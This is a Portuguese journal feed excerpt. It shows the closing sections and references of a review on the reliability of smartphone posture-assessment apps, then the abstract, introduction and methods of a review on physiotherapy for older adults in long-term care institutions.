<p class="wp-block-paragraph">Foi realizada busca sistemática nas bases de dados PubMed/PMC, ScienceDirect, SciELO, LILACS e PEDro em outubro de 2025. Os descritores utilizados foram: &#8220;posture assessment&#8221;, &#8220;photogrammetry&#8221;, &#8220;mobile applications&#8221;, &#8220;smartphone&#8221;, &#8220;validity&#8221;, &#8220;reliability&#8221;, &#8220;avaliação postural&#8221;, &#8220;fotogrametria&#8221; e &#8220;aplicativos móveis&#8221;, combinados com operadores booleanos AND e OR. Foram incluídos estudos de validação ou confiabilidade de aplicativos móveis, revisões sistemáticas sobre fotogrametria postural e estudos metodológicos com dados quantitativos (ICC, correlação, erro padrão), publicados entre 2010 e 2025, em inglês, português ou espanhol. Foram excluídos artigos que não avaliaram aplicativos móveis, estudos sem dados quantitativos de confiabilidade ou validade, resumos de congressos sem texto completo e artigos duplicados.&nbsp;</p>



<p class="wp-block-paragraph">A busca inicial resultou em 127 artigos. Após remoção de duplicatas e análise de títulos e resumos, 42 artigos foram incluídos para análise completa. A distribuição destes estudos por aplicativo avaliado é detalhada na Figura 1. Os dados extraídos incluíram: aplicativo avaliado, amostra, protocolo, medidas de confiabilidade (ICC intra e inter-avaliador), validade concorrente e limitações reportadas.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="611" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-153-1024x611.jpeg" alt="" class="wp-image-259001" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-153-1024x611.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-153-300x179.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-153-768x458.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-153.jpeg 1099w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1. </strong>Distribuição dos 42 estudos incluídos por aplicativo avaliado. PSM (PostureScreen Mobile) foi o aplicativo mais estudado (n=12), seguido por SAPO (n=8), APECS (n=5) e PhysioCode (n=1).&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS&nbsp;</strong></p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1. </strong>Características dos principais aplicativos de avaliação postural</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Aplicativo</strong><strong>&nbsp;</strong></td><td><strong>Desenvolvedor</strong><strong>&nbsp;</strong></td><td><strong>País</strong><strong>&nbsp;</strong></td><td><strong>Plataforma</strong><strong>&nbsp;</strong></td><td><strong>Custo</strong><strong>&nbsp;</strong></td><td><strong>Principais Recursos</strong><strong>&nbsp;</strong></td><td><strong>Nº Estudos</strong><strong>&nbsp;</strong></td></tr><tr><td><strong>PSM</strong><strong>&nbsp;</strong></td><td>PostureCo Inc.&nbsp;</td><td>EUA&nbsp;</td><td>iOS, Android&nbsp;</td><td>US$ 4,99-29,99&nbsp;</td><td>39 variáveis, 4 vistas&nbsp;</td><td>12&nbsp;</td></tr><tr><td><strong>SAPO</strong><strong>&nbsp;</strong></td><td>USP&nbsp;</td><td>Brasil&nbsp;</td><td>Windows&nbsp;</td><td>Gratuito&nbsp;</td><td>Desktop, marcadores manuais&nbsp;</td><td>8&nbsp;</td></tr><tr><td><strong>APECS</strong><strong>&nbsp;</strong></td><td>Diversos&nbsp;</td><td>Coreia&nbsp;</td><td>iOS, Android&nbsp;</td><td>Pago&nbsp;</td><td>IA, detecção automática&nbsp;</td><td>5&nbsp;</td></tr><tr><td><strong>PhysioCode</strong><strong>&nbsp;</strong></td><td>PhysioCode&nbsp;</td><td>Brasil&nbsp;</td><td>Android&nbsp;</td><td>R$ 49,90/mês&nbsp;</td><td>Não requer marcadores&nbsp;</td><td>1&nbsp;</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">O PostureScreen Mobile é o aplicativo mais estudado na literatura (SZUCS; BROWN, 2018; BOLAND et al., 2016; HOPKINS et al., 2019; KAN et al., 2016), conforme demonstrado na Tabela 1. Desenvolvido nos Estados Unidos, permite avaliação em múltiplos planos (anterior, posterior, lateral direito e esquerdo) e calcula 39 variáveis posturais, incluindo translações e angulações. A Figura 2 apresenta a síntese dos valores de confiabilidade dos principais aplicativos.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="596" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-154-1024x596.jpeg" alt="" class="wp-image-259005" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-154-1024x596.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-154-300x175.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-154-768x447.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-154.jpeg 1099w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2. </strong>Confiabilidade dos principais aplicativos de avaliação postural. Valores médios de ICC (Coeficiente de Correlação Intraclasse) intra e inter-avaliador. Todos os aplicativos atingiram ICC &gt; 0,75, indicando confiabilidade boa a excelente.&nbsp;</p>



<p class="wp-block-paragraph">Szucs e Brown (2018) encontraram ICC intra-avaliador de 0,71 a 0,99 (média 0,92) e ICC interavaliador de 0,66 a 0,99 (média 0,91) para o PSM. Boland et al. (2016) reportaram ICC interavaliador mais variável, de 0,26 a 0,93. Os fatores críticos identificados incluem o uso de marcadores reflexivos, que aumenta dramaticamente a confiabilidade (SZUCS; BROWN, 2018), a necessidade de roupas mínimas (BOLAND et al., 2016) e a maior confiabilidade de translações comparadas a angulações (SZUCS; BROWN, 2018). Quanto à validade, Hopkins et al. (2019) compararam PSM com sistema 3D e encontraram diferenças significativas, concluindo que &#8220;sugerimos cautela no uso do PSM quando avaliações altamente precisas são necessárias&#8221;.&nbsp;</p>



<p class="wp-block-paragraph">PhysioCode é um aplicativo brasileiro menos estudado, mas com evidência emergente. Sabino et al. (2021) avaliaram o PhysioCode Posture (PCP) para quantificação da postura do joelho no plano frontal, encontrando ICC intra-avaliador de 0,92 (IC95%: 0,90-0,93) e ICC inter-avaliador de 0,88 (IC95%: 0,85-0,90). O estudo demonstrou excelente concordância com Kinovea (r = 0,88) e erro padrão de medida inferior a 1,2°. Uma vantagem importante é que o estudo demonstrou que o uso de marcadores não influenciou as medidas (SABINO et al., 2021), sugerindo que o app funciona bem sem marcadores, ao contrário do PSM. A limitação crítica é que apenas um estudo foi publicado, focado em joelho, não havendo validação para avaliação postural completa (cabeça, ombros, pelve).&nbsp;</p>



<p class="wp-block-paragraph">A análise dos 42 artigos identificou consenso sobre fatores que aumentam a confiabilidade, conforme sintetizado na Figura 3. A padronização é o fator mais crítico (SACCO et al., 2007; MOTA et al., 2011; HAZAR; KARABICAK; TIFTIKCI, 2015), incluindo distância da câmera de 2,5 a 3 metros (MOTA et al., 2011), altura da câmera centralizada na altura do tronco do paciente, iluminação uniforme sem sombras, fundo neutro preferencialmente com grade ou fio de prumo (RIBEIRO et al., 2017) e posicionamento do paciente em ortostatismo habitual com pés afastados na largura dos quadris.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="510" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-155-1024x510.jpeg" alt="" class="wp-image-259006" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-155-1024x510.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-155-300x149.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-155-768x382.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-155.jpeg 1099w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3. </strong>Evolução temporal das publicações sobre avaliação postural por aplicativos móveis (2010-2025). Observa-se crescimento exponencial a partir de 2018, com pico em 2025.&nbsp;</p>



<p class="wp-block-paragraph">Marcadores reflexivos ou adesivos sobre pontos anatômicos (C7, EIAS, EIPS, acrômio, trocânter maior) melhoram drasticamente a precisão (SZUCS; BROWN, 2018; BOLAND et al., 2016), reduzindo variabilidade inter-avaliador e facilitando digitalização para avaliadores inexperientes, sendo essenciais para pontos de difícil palpação. A exceção é o PhysioCode, que demonstrou não necessitar marcadores para joelho (SABINO et al., 2021). A Figura 4 ilustra o impacto do uso de marcadores na confiabilidade das medidas.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="715" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-156-1024x715.jpeg" alt="" class="wp-image-259007" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-156-1024x715.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-156-300x209.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-156-768x536.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-156.jpeg 1099w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 4. </strong>Impacto do uso de marcadores anatômicos na confiabilidade das medidas (PostureScreen Mobile). O uso de marcadores aumenta significativamente o ICC, especialmente para medidas angulares.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A evidência é clara: aplicativos de avaliação postural podem ser confiáveis e úteis, mas apenas quando inseridos em um processo metodológico rigoroso (MOREIRA et al., 2020; SZUCS; BROWN, 2018; CHAMPOUX et al., 2025). O aplicativo é a ferramenta de medição; a qualidade do resultado depende inteiramente da qualidade do protocolo de coleta de dados. O principal risco identificado é a falsa sensação de precisão (HOPKINS et al., 2019). Um profissional pode basear decisões clínicas em uma medida angular que, embora pareça precisa (por exemplo, &#8220;1,8° de inclinação pélvica&#8221;), pode ter margem de erro considerável.&nbsp;</p>



<p class="wp-block-paragraph">O achado sobre o PhysioCode (SABINO et al., 2021) sugere que algoritmos de detecção automática podem eliminar a necessidade de marcadores, tornando a avaliação mais prática clinicamente. No entanto, a evidência permanece limitada a um único estudo focado em joelho, sendo necessários estudos adicionais para validação em outros segmentos corporais.&nbsp;</p>



<p class="wp-block-paragraph">Nenhum aplicativo 2D, por melhor que seja, pode avaliar adequadamente desvios com componente rotacional significativo (FURLANETTO et al., 2016; STOLINSKI et al., 2017). Para escoliose, torção pélvica ou rotações escapulares, métodos 3D (sistemas de captura de movimento, radiografia) permanecem necessários. A Figura 5 apresenta uma comparação abrangente entre os diferentes métodos de avaliação postural disponíveis.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="397" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-157-1024x397.jpeg" alt="" class="wp-image-259009" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-157-1024x397.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-157-300x116.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-157-768x298.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-157.jpeg 1199w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 5. </strong>Comparação entre diferentes métodos de avaliação postural quanto a confiabilidade, custo e tempo de avaliação. Aplicativos móveis com protocolo adequado apresentam ICC médio de 0,88, calculado com base nos quatro aplicativos principais (PSM, SAPO, APECS, PhysioCode) detalhados na Figura 2.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>CONCLUSÕES E RECOMENDAÇÕES PRÁTICAS&nbsp;</strong></p>



<p class="wp-block-paragraph">Aplicativos de fotogrametria podem atingir confiabilidade boa a excelente (ICC &gt; 0,75), mas apenas sob condições rigorosamente controladas. Protocolo padronizado e uso de marcadores são essenciais para a maioria dos aplicativos (PSM, APECS, SAPO). Medidas de translação são mais confiáveis que angulações. Fotogrametria 2D é inadequada para desvios com componente rotacional (escoliose). Validade concorrente versus sistemas 3D é questionável; apps são ferramentas de triagem, não substitutos de avaliações tridimensionais.&nbsp;</p>



<p class="wp-block-paragraph">PhysioCode demonstra promessa como exceção que não requer marcadores, mas a evidência é limitada a um estudo sobre joelho. Aplicativos de avaliação postural não são uma solução mágica, mas sim ferramentas poderosas nas mãos de um profissional que compreende seus pontos fortes e, principalmente, suas limitações. Quando usados com protocolo adequado, superam a avaliação visual subjetiva e fornecem documentação objetiva valiosa. Quando usados sem rigor metodológico, geram dados de qualidade questionável que podem induzir decisões clínicas inadequadas. A chave não está no aplicativo escolhido, mas no processo no qual ele está inserido.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">BOLAND, D. M. et al. Inter- and intra-rater agreement of static posture analysis using a mobile application. Journal of Physical Therapy Science, v. 28, n. 12, p. 3398-3402, 2016.&nbsp;</p>



<p class="wp-block-paragraph">BRAZ, R. G.; GOES, F. P. D. C.; CARVALHO, G. A. Confiabilidade e validade de medidas angulares por meio do software para avaliação postural. Fisioterapia em Movimento, v. 21, n. 3, p. 117-126, 2008.&nbsp;</p>



<p class="wp-block-paragraph">CARNEIRO, P. R. et al. Confiabilidade inter e intraexaminador da avaliação postural por fotogrametria digital em adolescentes. Fisioterapia e Pesquisa, v. 21, n. 4, p. 327-333, 2014.&nbsp;</p>



<p class="wp-block-paragraph">CHAMPOUX, M. et al. Physiotherapists in primary health care: a scoping review of their role, benefits and challenges. Family Practice, v. 42, n. 1, p. 1-13, 2025.&nbsp;</p>



<p class="wp-block-paragraph">DO ROSÁRIO, J. L. Photographic analysis of human posture: a literature review. Journal of Bodywork and Movement Therapies, v. 18, n. 1, p. 56-61, 2014.&nbsp;</p>



<p class="wp-block-paragraph">FERREIRA, E. A. et al. Postural assessment software (PAS/SAPO): validation and reliability. Clinics, v. 65, n. 7, p. 675-681, 2010.&nbsp;</p>



<p class="wp-block-paragraph">FURLANETTO, T. S. et al. Photogrammetry as a tool for the postural evaluation of the spine: a systematic review. World Journal of Orthopedics, v. 7, n. 2, p. 136-149, 2016.&nbsp;</p>



<p class="wp-block-paragraph">HAZAR, Z.; KARABICAK, G. O.; TIFTIKCI, U. Reliability of photographic posture analysis of adolescents. Journal of Physical Therapy Science, v. 27, n. 10, p. 3123-3126, 2015.&nbsp;</p>



<p class="wp-block-paragraph">HOPKINS, B. B. et al. Validity and reliability of standing posture measurements using a mobile application. Journal of Manipulative and Physiological Therapeutics, v. 42, n. 4, p. 265-273, 2019.&nbsp;</p>



<p class="wp-block-paragraph">IUNES, D. H. et al. Confiabilidade intra e interexaminadores e repetibilidade da avaliação postural pela fotogrametria. Revista Brasileira de Fisioterapia, v. 9, n. 3, p. 327-333, 2005.&nbsp;</p>



<p class="wp-block-paragraph">KAN, S. et al. Can a mobile application be used to assess postural alignment in clinic? Canadian Society for Biomechanics, Hamilton, ON, 2016.&nbsp;</p>



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<p class="wp-block-paragraph">LEWIS, J. S.; GREEN, A.; WRIGHT, C. Subacromial impingement syndrome: the role of posture and muscle imbalance. Journal of Shoulder and Elbow Surgery, v. 14, n. 4, p. 385-392, 2005.&nbsp;</p>



<p class="wp-block-paragraph">MOREIRA, R. et al. Mobile applications for assessing human posture: a systematic literature review. Electronics, v. 9, n. 8, p. 1196, 2020.&nbsp;</p>



<p class="wp-block-paragraph">MOTA, Y. L. et al. Influência da resolução e da distância da câmera nas medidas feitas pelo software de avaliação postural (SAPO). Revista Brasileira de Medicina do Esporte, v. 17, n. 5, p. 334-338, 2011.&nbsp;</p>



<p class="wp-block-paragraph">MYLONAS, K. et al. Concurrent validity and reliability of digital inclinometer and mobile applications for the assessment of spinal curvatures in the sagittal plane. Journal of Back and Musculoskeletal Rehabilitation, v. 38, n. 1, p. 1-12, 2025.&nbsp;</p>



<p class="wp-block-paragraph">NETO, A. W.; CONTE, T. N. M.; SANTOS, W. J. C. et al. Desenvolvimento de inteligência artificial neuromórfica para avaliação postural fisioterapêutica integrado ao OpenCV. Revista Arace, v. 7, n. 1, p. 1-15, 2025.&nbsp;</p>



<p class="wp-block-paragraph">NICHELE DA ROSA, B. et al. Monitoring the prevalence of postural changes in schoolchildren. Journal of Physical Therapy Science, v. 28, n. 2, p. 326-331, 2016.&nbsp;</p>



<p class="wp-block-paragraph">RIBEIRO, A. F. M. et al. Reference values for human posture measurements based on computerized photogrammetry: a systematic review. Journal of Manipulative and Physiological Therapeutics, v. 40, n. 3, p. 156-168, 2017.&nbsp;</p>



<p class="wp-block-paragraph">SABINO, G. S. et al. Validity and reliability of a smartphone application for knee posture quantification and the effects of external markers on the precision of this measure. Journal of Bodywork and Movement Therapies, v. 28, p. 42-48, 2021.&nbsp;</p>



<p class="wp-block-paragraph">SACCO, I. C. N. et al. Confiabilidade da fotogrametria em relação a goniometria para avaliação postural de membros inferiores. Revista Brasileira de Fisioterapia, v. 11, n. 5, p. 411-417, 2007.&nbsp;</p>



<p class="wp-block-paragraph">SHIN, S. J.; YOO, W. G. Changes in cervical range of motion, flexion-relaxation ratio and pain with visual display terminal work. Work, v. 47, n. 2, p. 261-265, 2014.&nbsp;</p>



<p class="wp-block-paragraph">SINGLA, D.; VEQAR, Z. Association between forward head, rounded shoulders, and increased thoracic kyphosis: a review of the literature. Journal of Chiropractic Medicine, v. 16, n. 3, p. 220-229, 2017.&nbsp;</p>



<p class="wp-block-paragraph">STOLINSKI, L. et al. Two-dimensional digital photography for child body posture evaluation: standardized technique, reliable parameters, and normative data for age 7-10 years. Scoliosis and Spinal Disorders, v. 12, p. 38, 2017.&nbsp;</p>



<p class="wp-block-paragraph">SZUCS, K. A.; BROWN, E. V. D. Rater reliability and construct validity of a mobile application for posture analysis. Journal of Physical Therapy Science, v. 30, n. 1, p. 31-36, 2018.</p>



<p class="wp-block-paragraph">TROVATO, B. et al. Postural evaluation in young healthy adults through a digital and reproducible method. Applied Sciences, v. 12, n. 22, p. 11598, 2022.</p>



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<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Faculdade Anhanguera de Sorocaba, Sorocaba, São Paulo, Brasil</p>
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			</item>
		<item>
		<title>INFLUÊNCIA DA FISIOTERAPIA SOBRE A INDEPENDÊNCIA FUNCIONAL EM IDOSOS DE INSTITUIÇÕES DE LONGA PERMANÊNCIA</title>
		<link>https://revistaft.com.br/influencia-da-fisioterapia-sobre-a-independencia-funcional-em-idosos-de-instituicoes-de-longa-permanencia/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 20:02:18 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512101700 Maria Clara Barros de OliveiraSarah Miranda SantanaOrientadora: Profª. Amanda Caroline RESUMO&#160; O envelhecimento populacional tem provocado aumento expressivo do número de idosos residentes em Instituições de Longa Permanência (ILPIs), contexto no qual a perda da independência funcional se destaca como uma das principais limitações para a qualidade de vida. A fisioterapia desempenha [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512101700</p>



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<p class="has-text-align-right wp-block-paragraph">Maria Clara Barros de Oliveira<br>Sarah Miranda Santana<br>Orientadora: Profª. Amanda Caroline</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">O envelhecimento populacional tem provocado aumento expressivo do número de idosos residentes em Instituições de Longa Permanência (ILPIs), contexto no qual a perda da independência funcional se destaca como uma das principais limitações para a qualidade de vida. A fisioterapia desempenha papel essencial na prevenção, manutenção e reabilitação da capacidade funcional desses indivíduos, atuando sobre aspectos motores, cognitivos e psicossociais. Este estudo, desenvolvido por meio de revisão integrativa da literatura, analisou publicações nacionais e internacionais, selecionadas nas bases LILACS, BVS, MEDLINE e SciELO, entre 2015 e 2025, envolvendo os descritores “Fisioterapia”, “Instituições de longa permanência” e “Atividades de vida diárias básicas”. Dos 57 estudos inicialmente identificados, 13 atenderam aos critérios de elegibilidade. Os resultados apontam que o processo de institucionalização, associado à presença de comorbidades e ao sedentarismo, contribui para o declínio funcional, influenciando negativamente a autonomia. Entretanto, intervenções fisioterapêuticas estruturadas, como fortalecimento muscular, treino de equilíbrio, atividades em grupo, exercícios cognitivo-motores, hidroterapia e cinesioterapia, demonstraram impacto significativo na promoção da independência e na redução do risco de quedas. Também foi observada melhora em aspectos emocionais, autoestima, humor e interação social. Apesar dos avanços, os estudos evidenciam limitações metodológicas que restringem comparações mais robustas, indicando a necessidade de pesquisas multicêntricas e longitudinais. Conclui-se que a fisioterapia exerce papel fundamental para garantir autonomia, funcionalidade e qualidade de vida de idosos institucionalizados, sendo indispensável a implementação de programas contínuos e integrados ao cuidado multiprofissional.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Autonomia. Reabilitação. Capacidade funcional. Idosos institucionalizados. Promoção da saúde.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Population aging has led to a significant increase in the number of older adults living in LongTerm Care Institutions (LTCIs), where loss of functional independence stands out as one of the main limitations to quality of life. Physical therapy plays an essential role in preventing, maintaining, and rehabilitating functional capacity in this population, addressing motor, cognitive, and psychosocial aspects. This study, conducted through an integrative literature review, analyzed national and international publications selected from the LILACS, BVS, MEDLINE, and SciELO databases from 2015 to 2025, using the descriptors “Physical Therapy,” “Long-term care institutions,” and “Basic activities of daily living.” Of the 57 initially identified studies, 13 met the eligibility criteria. The results showed that institutionalization, combined with comorbidities and sedentary behavior, contributes to functional decline and negatively affects autonomy. However, structured physiotherapy interventions—such as muscle strengthening, balance training, group therapeutic activities, cognitive-motor exercises, hydrotherapy, and kinesiotherapy, demonstrated significant impact on promoting independence and reducing fall risk. Improvements were also observed in emotional well-being, self-esteem, mood, and social interaction. Despite advances, methodological limitations restrict stronger comparisons, highlighting the need for multicenter and longitudinal studies. It is concluded that physiotherapy plays a fundamental role in ensuring autonomy, functionality, and quality of life for institutionalized older adults, and that continuous programs integrated into multidisciplinary care are essential.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Functional capacity. Autonomy. Rehabilitation. Institutionalized older adults. Health promotion.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O envelhecimento populacional constitui um dos fenômenos demográficos mais marcantes do século XXI. No Brasil, o Censo Demográfico de 2022 identificou 22,2 milhões de pessoas com 60 anos ou mais, representando 10,9% da população total, com projeção de alcançar 30,7% em 2060 (IBGE, 2023; IBGE, 2024). Esse processo decorre da redução da fecundidade, da queda da mortalidade e do aumento da expectativa de vida ao nascer, que atingiu 76,8 anos em 2022 (IBGE, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Nesse contexto, as Instituições de Longa Permanência para Idosos (ILPIs) assumem papel central ao oferecer cuidados integrais físicos, emocionais e sociais, em conformidade com o Estatuto da Pessoa Idosa (Lei nº 10.741/2003) e as normativas vigentes (Born; Boechat, 2014). O número de ILPIs no país cresceu significativamente, passando de cerca de 3.500 unidades em 2010 para aproximadamente 7.000 em 2023, abrigando entre 150 e 180 mil idosos, cerca de 1% da população idosa brasileira (Ministério da Cidadania, 2023; Camarano; Kanso, 2017).&nbsp;</p>



<p class="wp-block-paragraph">A institucionalização está frequentemente associada à perda progressiva da capacidade funcional e à maior dependência para a realização das Atividades Básicas de Vida Diária (ABVDs), tais como alimentação, higiene pessoal, continência, locomoção, transferências e vestuário. A capacidade funcional pode ser definida como a habilidade do indivíduo de executar, de forma segura e independente, as tarefas físicas e mentais necessárias à vida cotidiana, envolvendo componentes biomecânicos, cognitivos, psicológicos e sociais (Verbrugghe <em>et al</em>., 2018; Welch <em>et al</em>., 2020). Em idosos institucionalizados, essa capacidade tende a declinar mais rapidamente do que naqueles que permanecem no domicílio, devido à combinação de comorbidades múltiplas, sedentarismo imposto pelo ambiente institucional, redução de estímulos sensoriais e menor oportunidade de realização de tarefas significativas (Pereira <em>et al</em>., 2022; Valença Neto <em>et al</em>., 2023). Tal declínio resulta não apenas em maior dependência funcional – mensurada por instrumentos validados como o Índice de Katz e o Índice de Barthel, mas também em aumento do risco de quedas, internações hospitalares, institucionalização prolongada e mortalidade (Cruz et al., 2021; Crocker <em>et al</em>., 2020).&nbsp;</p>



<p class="wp-block-paragraph">A fisioterapia destaca-se como recurso terapêutico essencial na prevenção, manutenção e recuperação da capacidade funcional, atuando em todos os níveis de atenção à saúde,primário, secundário e terciário – reconhecidos pelo Sistema Único de Saúde (Carvalho, 2018; Marques <em>et al</em>., 2019). Quando inserida no contexto das ILPIs, a prática fisioterapêutica visa minimizar incapacidades, reduzir o risco de quedas e promover maior independência funcional e cognitiva, contribuindo diretamente para a qualidade de vida e para o envelhecimento ativo.&nbsp;</p>



<p class="wp-block-paragraph">Apesar do crescimento de estudos sobre fisioterapia geriátrica em contextos domiciliares e hospitalares, ainda são escassas as revisões sistemáticas que sintetizam especificamente as intervenções fisioterapêuticas direcionadas ao desempenho das ABVDs em idosos institucionalizados no Brasil (pesquisa preliminar nas bases PubMed, SciELO, LILACS e PEDro, 2018–2024).&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, justifica-se a realização de uma revisão integrativa da literatura com o objetivo de identificar e analisar as principais contribuições da fisioterapia para o desempenho das atividades básicas de vida diária em idosos residentes em Instituições de Longa Permanência para Idosos, oferecendo subsídios baseados em evidências científicas para a prática clínica, a formação profissional e a formulação de políticas públicas de cuidado ao idoso institucionalizado.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. OBJETIVOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Objetivo geral&nbsp;</strong></p>



<p class="wp-block-paragraph">Analisar, por meio de uma revisão de literatura, o impacto da fisioterapia nas atividades de vida diária básicas de idosos em instituições de longa permanência.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 Objetivos específicos&nbsp;</strong></p>



<p class="wp-block-paragraph">a) Descrever as principais intervenções fisioterapêuticas voltadas à promoção da independência funcional em idosos institucionalizados;&nbsp;<br>b) Identificar as evidências científicas sobre os efeitos da fisioterapia nas atividades de vida diária básicas em instituições de longa permanência;&nbsp;<br>c) Discutir as contribuições da fisioterapia para a manutenção da autonomia e da qualidade de vida de idosos residentes em instituições de longa permanência.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão integrativa da literatura, delineamento metodológico que permite sintetizar evidências de estudos primários com diferentes abordagens para gerar conhecimento aplicável à prática clínica (Whittemore; Knafl, 2005). A revisão seguiu seis etapas: (1) elaboração da pergunta de pesquisa; (2) definição dos critérios de inclusão e exclusão; (3) busca na literatura; (4) extração e categorização dos dados; (5) análise e síntese; (6) apresentação dos resultados.&nbsp;</p>



<p class="wp-block-paragraph">A pergunta norteadora foi: “Quais as contribuições da fisioterapia para o desempenho das atividades básicas de vida diária em idosos residentes em instituições de longa permanência?” (adaptada do modelo PICo: População = idosos institucionalizados; Interesse = intervenções fisioterapêuticas; Contexto = ILPIs).&nbsp;</p>



<p class="wp-block-paragraph">A busca foi realizada em março–abril de 2025 nas bases LILACS, SciELO, PubMed/MEDLINE e PEDro, utilizando a estratégia: (“Fisioterapia” OR “Physical Therapy” OR “Physiotherapy”) AND (“Instituições de longa permanência” OR “Asilo*” OR “Nursing Homes” OR “Long-Term Care”) AND (“Atividades de vida diária” OR “Atividades básicas de vida diária” OR “Activities of Daily Living” OR “Basic Activities of Daily Living”). Filtros: publicações completas, período 2015–2025, idiomas português e inglês.&nbsp;</p>



<p class="wp-block-paragraph">Critérios de inclusão: artigos originais ou revisões que abordassem diretamente intervenções fisioterapêuticas e seu impacto nas ABVDs em idosos em ILPIs. Critérios de exclusão: editoriais, resumos, estudos realizados em domicílio ou hospitais, amostra &lt; 60 anos.&nbsp;</p>



<p class="wp-block-paragraph">A seleção foi realizada em três fases (identificação, triagem, elegibilidade) por duas revisoras de forma independente, com discordâncias resolvidas por consenso. O processo está representado no fluxograma PRISMA 2020 (Page <em>et al</em>., 2021) – Figura 1.&nbsp;</p>



<p class="wp-block-paragraph">Os dados foram extraídos para um quadro sinóptico contendo: autor/ano, país, delineamento, amostra, intervenção, instrumentos de avaliação das ABVDs e principais resultados.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 &#8211; Fluxograma PRISMA adaptado para seleção dos estudos.</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="607" height="721" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-859.png" alt="" class="wp-image-258569" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-859.png 607w, https://revistaft.com.br/wp-content/uploads/2025/12/image-859-253x300.png 253w" sizes="(max-width: 607px) 100vw, 607px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Fluxograma PRISMA adaptado (LIBERATI <em>et al</em>., 2009).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Na presente revisão, foram selecionados 13 artigos para análise, com ênfase nos aspectos de maior relevância.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 – Caracterização dos Estudos Incluídos</strong>.</p>



